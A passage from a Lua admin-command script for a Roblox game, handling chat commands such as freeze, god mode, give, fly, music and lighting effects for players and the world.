  1044. end
  1045. end))
  1046. end
  1047. end
  1048.  
  1049. if msg:lower():sub(1,9) == "sparkles " then
  1050. local plrz = GetPlr(plr, msg:lower():sub(10))
  1051. for i, v in pairs(plrz) do
  1052. coroutine.resume(coroutine.create(function()
  1053. if v and v.Character and v.Character:findFirstChild("Torso") then
  1054. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1055. end
  1056. end))
  1057. end
  1058. end
  1059.  
  1060. if msg:lower():sub(1,11) == "unsparkles " then
  1061. local plrz = GetPlr(plr, msg:lower():sub(12))
  1062. for i, v in pairs(plrz) do
  1063. coroutine.resume(coroutine.create(function()
  1064. if v and v.Character and v.Character:findFirstChild("Torso") then
  1065. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1066. end
  1067. end))
  1068. end
  1069. end
  1070.  
  1071. if msg:lower():sub(1,3) == "ff " then
  1072. local plrz = GetPlr(plr, msg:lower():sub(4))
  1073. for i, v in pairs(plrz) do
  1074. coroutine.resume(coroutine.create(function()
  1075. if v and v.Character then Instance.new("ForceField", v.Character) end
  1076. end))
  1077. end
  1078. end
  1079.  
  1080. if msg:lower():sub(1,5) == "unff " then
  1081. local plrz = GetPlr(plr, msg:lower():sub(6))
  1082. for i, v in pairs(plrz) do
  1083. coroutine.resume(coroutine.create(function()
  1084. if v and v.Character then
  1085. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1086. end
  1087. end))
  1088. end
  1089. end
  1090.  
  1091. if msg:lower():sub(1,7) == "punish " then
  1092. local plrz = GetPlr(plr, msg:lower():sub(8))
  1093. for i, v in pairs(plrz) do
  1094. coroutine.resume(coroutine.create(function()
  1095. if v and v.Character then
  1096. v.Character.Parent = game:service("Lighting")
  1097. end
  1098. end))
  1099. end
  1100. end
  1101.  
  1102. if msg:lower():sub(1,9) == "unpunish " then
  1103. local plrz = GetPlr(plr, msg:lower():sub(10))
  1104. for i, v in pairs(plrz) do
  1105. coroutine.resume(coroutine.create(function()
  1106. if v and v.Character then
  1107. v.Character.Parent = game:service("Workspace")
  1108. v.Character:MakeJoints()
  1109. end
  1110. end))
  1111. end
  1112. end
  1113.  
  1114. if msg:lower():sub(1,7) == "freeze " then
  1115. local plrz = GetPlr(plr, msg:lower():sub(8))
  1116. for i, v in pairs(plrz) do
  1117. coroutine.resume(coroutine.create(function()
  1118. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1119. for a, obj in pairs(v.Character:children()) do
  1120. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1121. end
  1122. end
  1123. end))
  1124. end
  1125. end
  1126.  
  1127. if msg:lower():sub(1,5) == "thaw " then
  1128. local plrz = GetPlr(plr, msg:lower():sub(6))
  1129. for i, v in pairs(plrz) do
  1130. coroutine.resume(coroutine.create(function()
  1131. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1132. for a, obj in pairs(v.Character:children()) do
  1133. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1134. end
  1135. end
  1136. end))
  1137. end
  1138. end
  1139.  
  1140. if msg:lower():sub(1,5) == "heal " then
  1141. local plrz = GetPlr(plr, msg:lower():sub(6))
  1142. for i, v in pairs(plrz) do
  1143. coroutine.resume(coroutine.create(function()
  1144. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1145. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1146. end
  1147. end))
  1148. end
  1149. end
  1150.  
  1151. if msg:lower():sub(1,4) == "god " then
  1152. local plrz = GetPlr(plr, msg:lower():sub(5))
  1153. for i, v in pairs(plrz) do
  1154. coroutine.resume(coroutine.create(function()
  1155. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1156. v.Character.Humanoid.MaxHealth = math.huge
  1157. v.Character.Humanoid.Health = 9e9
  1158. end
  1159. end))
  1160. end
  1161. end
  1162.  
  1163. if msg:lower():sub(1,6) == "ungod " then
  1164. local plrz = GetPlr(plr, msg:lower():sub(7))
  1165. for i, v in pairs(plrz) do
  1166. coroutine.resume(coroutine.create(function()
  1167. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1168. v.Character.Humanoid.MaxHealth = 100
  1169. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1170. end
  1171. end))
  1172. end
  1173. end
  1174.  
  1175. if msg:lower():sub(1,8) == "ambient " then
  1176. local chk1 = msg:lower():sub(9):find(" ") + 8
  1177. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1178. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1179. end
  1180.  
  1181. if msg:lower():sub(1,11) == "brightness " then
  1182. game.Lighting.Brightness = msg:sub(12)
  1183. end
  1184.  
  1185. if msg:lower():sub(1,5) == "time " then
  1186. game.Lighting.TimeOfDay = msg:sub(6)
  1187. end
  1188.  
  1189. if msg:lower():sub(1,9) == "fogcolor " then
  1190. local chk1 = msg:lower():sub(10):find(" ") + 9
  1191. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1192. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1193. end
  1194.  
  1195. if msg:lower():sub(1,7) == "fogend " then
  1196. game.Lighting.FogEnd = msg:sub(8)
  1197. end
  1198.  
  1199. if msg:lower():sub(1,9) == "fogstart " then
  1200. game.Lighting.FogStart = msg:sub(10)
  1201. end
  1202.  
  1203. if msg:lower():sub(1,7) == "btools " then
  1204. local plrz = GetPlr(plr, msg:lower():sub(8))
  1205. for i, v in pairs(plrz) do
  1206. coroutine.resume(coroutine.create(function()
  1207. if v and v:findFirstChild("Backpack") then
  1208. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1209. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1210. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1211. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1212. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1213. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1214. local sb
  1215. local hs
  1216. local pdist
  1217.  
  1218. script.Parent.Selected:connect(function(mouse)
  1219. if not mouse then return end
  1220. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1221. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1222. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1223. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1224. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1225. end)
  1226.  
  1227. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1228. end
  1229. end))
  1230. end
  1231. end
  1232.  
  1233. if msg:lower():sub(1,12) == "startergive " then
  1234. local chk1 = msg:lower():sub(13):find(" ") + 12
  1235. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1236. for i, v in pairs(plrz) do
  1237. coroutine.resume(coroutine.create(function()
  1238. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1239. for a, tool in pairs(game.Lighting:children()) do
  1240. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1241. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1242. end
  1243. end
  1244. end
  1245. end))
  1246. end
  1247. end
  1248.  
  1249. if msg:lower():sub(1,5) == "give " then
  1250. local chk1 = msg:lower():sub(6):find(" ") + 5
  1251. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1252. for i, v in pairs(plrz) do
  1253. coroutine.resume(coroutine.create(function()
  1254. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1255. for a, tool in pairs(game.Lighting:children()) do
  1256. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1257. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1258. end
  1259. end
  1260. end
  1261. end))
  1262. end
  1263. end
  1264.  
  1265. if msg:lower():sub(1,12) == "removetools " then
  1266. local plrz = GetPlr(plr, msg:lower():sub(13))
  1267. for i, v in pairs(plrz) do
  1268. coroutine.resume(coroutine.create(function()
  1269. if v and v.Character and v:findFirstChild("Backpack") then
  1270. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1271. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1272. end
  1273. end))
  1274. end
  1275. end
  1276.  
  1277. if msg:lower():sub(1,5) == "rank " then
  1278. local chk1 = msg:lower():sub(6):find(" ") + 5
  1279. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1280. for i, v in pairs(plrz) do
  1281. coroutine.resume(coroutine.create(function()
  1282. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1283. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1284. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1285. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1286. end
  1287. end))
  1288. end
  1289. end
  1290.  
  1291. if msg:lower():sub(1,7) == "damage " then
  1292. local chk1 = msg:lower():sub(8):find(" ") + 7
  1293. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1294. for i, v in pairs(plrz) do
  1295. coroutine.resume(coroutine.create(function()
  1296. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1297. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1298. end
  1299. end))
  1300. end
  1301. end
  1302.  
  1303. if msg:lower():sub(1,5) == "grav " then
  1304. local plrz = GetPlr(plr, msg:lower():sub(6))
  1305. for i, v in pairs(plrz) do
  1306. coroutine.resume(coroutine.create(function()
  1307. if v and v.Character and v.Character:findFirstChild("Torso") then
  1308. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1309. end
  1310. end))
  1311. end
  1312. end
  1313.  
  1314. if msg:lower():sub(1,8) == "setgrav " then
  1315. local chk1 = msg:lower():sub(9):find(" ") + 8
  1316. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1317. for i, v in pairs(plrz) do
  1318. coroutine.resume(coroutine.create(function()
  1319. if v and v.Character and v.Character:findFirstChild("Torso") then
  1320. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1321. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1322. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1323. end
  1324. end))
  1325. end
  1326. end
  1327.  
  1328. if msg:lower():sub(1,7) == "nograv " then
  1329. local plrz = GetPlr(plr, msg:lower():sub(8))
  1330. for i, v in pairs(plrz) do
  1331. coroutine.resume(coroutine.create(function()
  1332. if v and v.Character and v.Character:findFirstChild("Torso") then
  1333. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1334. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1335. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1336. end
  1337. end))
  1338. end
  1339. end
  1340.  
  1341. if msg:lower():sub(1,7) == "health " then
  1342. local chk1 = msg:lower():sub(8):find(" ") + 7
  1343. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1344. for i, v in pairs(plrz) do
  1345. coroutine.resume(coroutine.create(function()
  1346. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1347. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1348. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1349. end
  1350. end))
  1351. end
  1352. end
  1353.  
  1354. if msg:lower():sub(1,6) == "speed " then
  1355. local chk1 = msg:lower():sub(7):find(" ") + 6
  1356. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1357. for i, v in pairs(plrz) do
  1358. coroutine.resume(coroutine.create(function()
  1359. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1360. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1361. end
  1362. end))
  1363. end
  1364. end
  1365.  
  1366. if msg:lower():sub(1,5) == "team " then
  1367. local chk1 = msg:lower():sub(6):find(" ") + 5
  1368. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1369. for i, v in pairs(plrz) do
  1370. coroutine.resume(coroutine.create(function()
  1371. if v and game:findFirstChild("Teams") then
  1372. for a, tm in pairs(game.Teams:children()) do
  1373. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1374. end
  1375. end
  1376. end))
  1377. end
  1378. end
  1379.  
  1380. if msg:lower():sub(1,6) == "place " then
  1381. local chk1 = msg:lower():sub(7):find(" ") + 6
  1382. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1383. for i, v in pairs(plrz) do
  1384. coroutine.resume(coroutine.create(function()
  1385. if v and v:findFirstChild("PlayerGui") then
  1386. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1387. end
  1388. end))
  1389. end
  1390. end
  1391.  
  1392. if msg:lower():sub(1,3) == "tp " then
  1393. local chk1 = msg:lower():sub(4):find(" ") + 3
  1394. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1395. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1396. for i, v in pairs(plrz) do
  1397. coroutine.resume(coroutine.create(function()
  1398. for i2, v2 in pairs(plrz2) do
  1399. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1400. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1401. end
  1402. end
  1403. end))
  1404. end
  1405. end
  1406.  
  1407. if msg:lower():sub(1,7) == "change " then
  1408. local chk1 = msg:lower():sub(8):find(" ") + 7
  1409. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1410. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1411. for i, v in pairs(plrz) do
  1412. coroutine.resume(coroutine.create(function()
  1413. if v and v:findFirstChild("leaderstats") then
  1414. for a, st in pairs(v.leaderstats:children()) do
  1415. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1416. end
  1417. end
  1418. end))
  1419. end
  1420. end
  1421.  
  1422. if msg:lower():sub(1,6) == "shirt " then
  1423. local chk1 = msg:lower():sub(7):find(" ") + 6
  1424. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1425. for i, v in pairs(plrz) do
  1426. coroutine.resume(coroutine.create(function()
  1427. if v and v.Character then
  1428. for i,v in pairs(v.Character:children()) do
  1429. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1430. end
  1431. end
  1432. end))
  1433. end
  1434. end
  1435.  
  1436. if msg:lower():sub(1,6) == "pants " then
  1437. local chk1 = msg:lower():sub(7):find(" ") + 6
  1438. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1439. for i, v in pairs(plrz) do
  1440. coroutine.resume(coroutine.create(function()
  1441. if v and v.Character then
  1442. for i,v in pairs(v.Character:children()) do
  1443. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1444. end
  1445. end
  1446. end))
  1447. end
  1448. end
  1449.  
  1450. if msg:lower():sub(1,5) == "face " then
  1451. local chk1 = msg:lower():sub(6):find(" ") + 5
  1452. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1453. for i, v in pairs(plrz) do
  1454. coroutine.resume(coroutine.create(function()
  1455. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1456. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1457. end
  1458. end))
  1459. end
  1460. end
  1461.  
  1462. ---------------------
  1463. -- FunCommands --
  1464. ---------------------
  1465. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1466.  
  1467. if msg:lower():sub(1,8) == "swagify " then
  1468. local plrz = GetPlr(plr, msg:lower():sub(9))
  1469. for i, v in pairs(plrz) do
  1470. coroutine.resume(coroutine.create(function()
  1471. if v and v.Character then
  1472. for i,v in pairs(v.Character:children()) do
  1473. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1474. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1475. end
  1476. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1477. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1478. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1479. local torso = plr.Character.Torso
  1480. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1481. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1482. p.Size = Vector3.new(.2,.2,.2)
  1483. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1484. local motor1 = Instance.new("Motor", p)
  1485. motor1.Part0 = p
  1486. motor1.Part1 = torso
  1487. motor1.MaxVelocity = .01
  1488. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1489. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1490. local wave = false
  1491. repeat wait(1/44)
  1492. local ang = 0.1
  1493. local oldmag = torso.Velocity.magnitude
  1494. local mv = .002
  1495. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1496. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1497. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1498. motor1.DesiredAngle = -ang
  1499. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1500. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1501. if torso.Velocity.magnitude < .1 then wait(.1) end
  1502. until not p or p.Parent ~= torso.Parent
  1503. script:Destroy()
  1504. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1505. end
  1506. end))
  1507. end
  1508. end
  1509.  
  1510. if msg:lower():sub(1,6) == "music " then
  1511. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1512. local id = msg:sub(7)
  1513. local pitch = 1
  1514. if tostring(id):lower():find("caramell") then id = 2303479 end
  1515. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1516. if tostring(id):find("rick") then id = 2027611 end
  1517. if tostring(id):find("halo") then id = 1034065 end
  1518. if tostring(id):find("pokemon") then id = 1372261 end
  1519. if tostring(id):find("cursed") then id = 1372257 end
  1520. if tostring(id):find("extreme") then id = 11420933 end
  1521. if tostring(id):find("awaken") then id = 27697277 end
  1522. if tostring(id):find("alone") then id = 27697392 end
  1523. if tostring(id):find("mario") then id = 1280470 end
  1524. if tostring(id):find("choir") then id = 1372258 end
  1525. if tostring(id):find("chrono") then id = 1280463 end
  1526. if tostring(id):find("dotr") then id = 11420922 end
  1527. if tostring(id):find("entertain") then id = 27697267 end
  1528. if tostring(id):find("fantasy") then id = 1280473 end
  1529. if tostring(id):find("final") then id = 1280414 end
  1530. if tostring(id):find("emblem") then id = 1372259 end
  1531. if tostring(id):find("flight") then id = 27697719 end
  1532. if tostring(id):find("banjo") then id = 27697298 end
  1533. if tostring(id):find("gothic") then id = 27697743 end
  1534. if tostring(id):find("hiphop") then id = 27697735 end
  1535. if tostring(id):find("intro") then id = 27697707 end
  1536. if tostring(id):find("mule") then id = 1077604 end
  1537. if tostring(id):find("film") then id = 27697713 end
  1538. if tostring(id):find("nezz") then id = 8610025 end
  1539. if tostring(id):find("angel") then id = 1372260 end
  1540. if tostring(id):find("resist") then id = 27697234 end
  1541. if tostring(id):find("schala") then id = 5985787 end
  1542. if tostring(id):find("organ") then id = 11231513 end
  1543. if tostring(id):find("tunnel") then id = 9650822 end
  1544. if tostring(id):find("spanish") then id = 5982975 end
  1545. if tostring(id):find("venom") then id = 1372262 end
  1546. if tostring(id):find("wind") then id = 1015394 end
  1547. if tostring(id):find("guitar") then id = 5986151 end
  1548. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1549. end
  1550.  
  1551. if msg:lower() == "stopmusic" then
  1552. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1553. end
  1554.  
  1555. if msg:lower() == "musiclist" then
  1556. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1557. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1558. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1559. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1560. end
  1561.  
  1562. if msg:lower():sub(1,4) == "fly " then
  1563. local plrz = GetPlr(plr, msg:lower():sub(5))
  1564. for i, v in pairs(plrz) do
  1565. coroutine.resume(coroutine.create(function()
  1566. if v and v:findFirstChild("PlayerGui") then
  1567. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1568. local mouse = game.Players.LocalPlayer:GetMouse()
  1569. repeat wait() until mouse
  1570. local plr = game.Players.LocalPlayer
  1571. local torso = plr.Character.Torso
  1572. local flying = true
  1573. local deb = true
  1574. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1575. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1576. local maxspeed = 50
  1577. local speed = 0
  1578. function Fly()
  1579. local bg = Instance.new("BodyGyro", torso)
  1580. bg.P = 9e4
  1581. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1582. bg.cframe = torso.CFrame
  1583. local bv = Instance.new("BodyVelocity", torso)
  1584. bv.velocity = Vector3.new(0,0.1,0)
  1585. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1586. repeat wait()
  1587. plr.Character.Humanoid.PlatformStand = true
  1588. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1589. speed = speed+.5+(speed/maxspeed)
  1590. if speed > maxspeed then
  1591. speed = maxspeed
  1592. end
  1593. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1594. speed = speed-1
  1595. if speed < 0 then
  1596. speed = 0
  1597. end
  1598. end
  1599. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1600. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1601. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1602. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1603. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1604. else
  1605. bv.velocity = Vector3.new(0,0.1,0)
  1606. end
  1607. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1608. until not flying
  1609. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1610. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1611. speed = 0
  1612. bg:Destroy()
  1613. bv:Destroy()
  1614. plr.Character.Humanoid.PlatformStand = false
  1615. end
  1616. mouse.KeyDown:connect(function(key)
  1617. if key:lower() == "e" then
  1618. if flying then flying = false
  1619. else
  1620. flying = true
  1621. Fly()
  1622. end
  1623. elseif key:lower() == "w" then
  1624. ctrl.f = 1
  1625. elseif key:lower() == "s" then
  1626. ctrl.b = -1
  1627. elseif key:lower() == "a" then
  1628. ctrl.l = -1
  1629. elseif key:lower() == "d" then
  1630. ctrl.r = 1
  1631. end
  1632. end)
  1633. mouse.KeyUp:connect(function(key)
  1634. if key:lower() == "w" then
  1635. ctrl.f = 0
  1636. elseif key:lower() == "s" then
  1637. ctrl.b = 0
  1638. elseif key:lower() == "a" then
  1639. ctrl.l = 0
  1640. elseif key:lower() == "d" then
  1641. ctrl.r = 0
  1642. end
  1643. end)
  1644. Fly()]]
  1645. cl.Parent = v.PlayerGui cl.Disabled = false
  1646. end
  1647. end))
  1648. end
  1649. end
  1650.  
  1651. if msg:lower():sub(1,6) == "unfly " then
  1652. local plrz = GetPlr(plr, msg:lower():sub(7))
  1653. for i, v in pairs(plrz) do
  1654. coroutine.resume(coroutine.create(function()
  1655. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1656. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1657. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1658. wait(.1) v.Character.Humanoid.PlatformStand = false
  1659. end
  1660. end))
  1661. end
  1662. end
  1663.  
  1664. if msg:lower() == "disco" then
  1665. for i, v in pairs(lobjs) do v:Destroy() end
  1666. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1667. game.Lighting.Ambient = color
  1668. game.Lighting.FogColor = color
  1669. until nil]]
  1670. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1671. end
  1672.  
  1673. if msg:lower() == "flash" then
  1674. for i, v in pairs(lobjs) do v:Destroy() end
  1675. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1676. game.Lighting.Ambient = Color3.new(1,1,1)
  1677. game.Lighting.FogColor = Color3.new(1,1,1)
  1678. game.Lighting.Brightness = 1
  1679. game.Lighting.TimeOfDay = 14
  1680. wait(.1)
  1681. game.Lighting.Ambient = Color3.new(0,0,0)
  1682. game.Lighting.FogColor = Color3.new(0,0,0)
  1683. game.Lighting.Brightness = 0
  1684. game.Lighting.TimeOfDay = 0
  1685. until nil]]
